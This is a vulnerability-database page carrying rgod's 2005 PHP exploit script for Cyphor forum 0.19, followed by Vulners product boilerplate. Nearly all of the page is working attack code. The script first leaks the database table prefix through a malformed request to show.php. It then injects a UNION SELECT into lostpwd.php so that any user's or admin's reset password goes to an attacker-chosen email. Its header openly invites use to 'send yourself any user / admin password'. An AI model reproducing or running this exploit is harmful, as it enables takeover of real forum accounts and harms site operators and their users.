Lucene search
K

Cyphor <= 0.19 (board takeover) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Cyphor 0.19 SQL Injection board takeover exploi

Code

                                                &#60;?php
#   quoted from rgod &#34;1)if magic quotes off -&#62; SQL Injection:&#34; /str0ke
#
#   --- cyphor019_xpl.php                                   7.36 08/10/2005    #
#                                                                              #
#   Cyphor 0.19 ( possibly prior versions) SQL injection / board takeover      #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   send yourself any user / admin password right now!                         #
#                                                                              #
#   Sun Tzu: &#34;There are five ways of attacking with fire. The first is to burn #
#   soldiers in their camp; the second is to burn stores; the third is to burn #
#   baggage trains; the fourth is to burn arsenals and magazines; the fifth is #
#   to hurl dropping fire amongst the opponent.&#34;                               #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62;Cyphor 0.19  SQL Injection/board takeover  &#60;/title&#62;&#60;meta
http-equiv=&#34;Content-Type&#34;   content=&#34;text/html;  charset=iso-8859-1&#34;&#62;     &#60;style
type=&#34;text/css&#34;&#62; body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:   #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBr81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
Cyphor 0.19 (possibly prior versions) SQL injection / board takeover      &#60;/p&#62;&#60;p
class=&#34;Stile6&#34;&#62; a  script  by rgod  at  &#60;a     href=&#34;http://rgod.altervista.org&#34;
target=&#34;_blank&#34;&#62; http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62; &#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;  &#60;td
width=&#34;43%&#34;&#62;&#60;form name=&#34;form1&#34; method=&#34;post&#34; action=&#34;&#39;.$SERVER[PHP_SELF].&#39;?path=
value&host=value&port=value&username=value&proxy=value&your_email=value&#34;&#62;    &#60;p&#62;
&#60;input type=&#34;text&#34; name=&#34;host&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; hostname (ex: www.sitename.
com)&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; path (ex:
/cyphor/ or /forum/ or just /)&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;port&#34;&#62;&#60;span
class=&#34;Stile5&#34;&#62; specify a port other than 80 (default value)&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input
type=&#34;text&#34; name=&#34;username&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;user whom you want the password
,admin? ;)   &#60;/span&#62;   &#60;/p&#62;   &#60;p&#62;     &#60;input type=&#34;text&#34; name=&#34;your_email&#34;&#62;&#60;span
class=&#34;Stile5&#34;&#62; email where the password will be sent&#60;/span&#62;  &#60;/p&#62;  &#60;p&#62;   &#60;input
type=&#34;text&#34; name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; send exploit through an HTTP prox
y (ip:port)    &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;go!&#34;&#62;&#60;/p&#62;
&#60;/form&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}

$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy==&#39;&#39;)
           {$ock=fsockopen(gethostbyname($host),$port);
            if (!$ock) { echo &#39;No response from &#39;.htmlentities($host).&#39;...&#39;;
			die;
		       }}

             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).&#39; -&#62; not a valid proxy...&#39;;
	     die;
	    }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

define(&#39;EMAIL_PREG&#39;, &#39;#^[a-z0-9&\-_.\+]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+$#&#39;);
define(&#39;USER_PREG&#39;, &#39;#^[A-Za-z0-9_\-]+$#&#39;);

if (($path&#60;&#62;&#39;&#39;) and ($host&#60;&#62;&#39;&#39;) and ($your_email&#60;&#62;&#39;&#39;) and ($username&#60;&#62;&#39;&#39;))
{
if (!preg_match(EMAIL_PREG, $your_email)) {echo &#39;&#60;br&#62;Need a valid email...&#39;; die;}
if (!preg_match(USER_PREG, $username)) {echo &#39;&#60;br&#62;Need a valid username...&#39;; die;}
  if ($port==&#39;&#39;) {$port=80;}
  if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

#STEP 1 -&#62; retrieve the table prefix...
$packet=&#34;GET &#34;.$p.&#34;show.php?fid=&#39; HTTP/1.0 \r\n&#34;;
$packet.=&#34;User-Agent: GetRight/4.5xx\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacket($packet);

$temp=explode(&#34;SELECT * FROM &#34;,$html);
$temp2=explode(&#34;forums WHERE&#34;,$temp[1]);
$table_prefix=trim($temp2[0]);

echo &#39;&#60;br&#62; Table prefix -&#62;&#39;.htmlentities($table_prefix);
if ($table_prefix==&#39;&#39;) {echo &#39;Exploit failed...&#39;; die;}

#STEP 2 -&#62; send yourself a new password...
$sql=&#34;&#39;) UNION SELECT * FROM &#34;.$table_prefix.&#34;users WHERE nick=&#39;&#34;.$username.&#34;&#39;/*&#34;;
$sql=urlencode($sql);
$data=&#34;email=&#34;.urlencode($your_email).&#34;&nick=&#34;.$sql.&#34;&submit=Submit&#34;;
$packet=&#34;POST &#34;.$p.&#34;lostpwd.php HTTP/1.1\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.&#34;:&#34;.$port.$path.&#34;lostpwd.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Internet Ninja x.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Keep-Alive\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi(&#34;New password sent.&#34;,$html)) {echo &#39;&#60;br&#62;Exploit successful...check your email box...&#39;;}
				else   {echo &#39;&#60;br&#62;Exploit failed...&#39;;}
}
else
{ echo &#39;Fill in requested fields, optionally specify a proxy...&#39;; }
?&#62;

# milw0rm.com [2005-10-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17